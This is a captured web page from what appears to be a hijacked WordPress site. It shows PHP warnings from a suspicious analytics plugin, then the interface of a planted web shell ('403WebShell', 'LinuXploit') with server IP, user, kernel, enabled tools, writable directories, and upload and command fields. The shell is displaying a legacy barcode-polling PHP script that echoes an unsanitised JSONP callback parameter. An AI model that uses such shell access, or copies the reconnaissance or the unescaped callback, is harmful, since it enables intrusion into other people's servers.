Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/_oldsite/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/_oldsite/barcode_feed.php
<?php
// Hang around for up to 20 seconds for a bar code
// End when barcode found(return barcode), or timeout (no barcode data returned)

	include './inc/include.php';

	$remote = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '' ;
	$remote = str_replace('/', '', $remote);

	set_time_limit(15);
	
// wait for an event to occur,

	$RUNNING = 1;
	$expire = time() + 30;	// expire in 30 seconds
	do {
		usleep(200000); // wait for .2 seconds
		if (file_exists("$BASE/inc/data/lockfile.$remote.tmp")) {
			unlink("$BASE/inc/data/lockfile.$remote.tmp");
			_DisplayMessage();
			$RUNNING = 0;					// we have something - time to quit
		}
		if (time() > $expire) $RUNNING = 0;
	} while ($RUNNING);

	exit;
	
	function _DisplayMessage() {
		global $DATABASE, $remote, $RUNNING;
		$dremote = $DATABASE->formatString($remote);
		$sql = "select message from dt_process where ipaddress=$dremote and processid=0";
		$DATABASE->Open();
		$DATA = $DATABASE->Lookup($sql, 'dt_process');
		if ($DATA['__existing']) {
			sendToServer($DATA['message']);
		}
		$DATABASE->Close();
	}	

function sendToServer($msg) {
	$callback = isset($_GET['callback']) ? $_GET['callback'] : '';
	if ($callback != '') {
		$info = array();
        $info['data'] = $msg;
        $data = custom_json::encode($info);
        header('Content-type: application/json');
        echo "$callback($data);";
	} else {
		header('Content-type: text/plain');
		echo "{$msg}\n";			// Send it back to the application
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit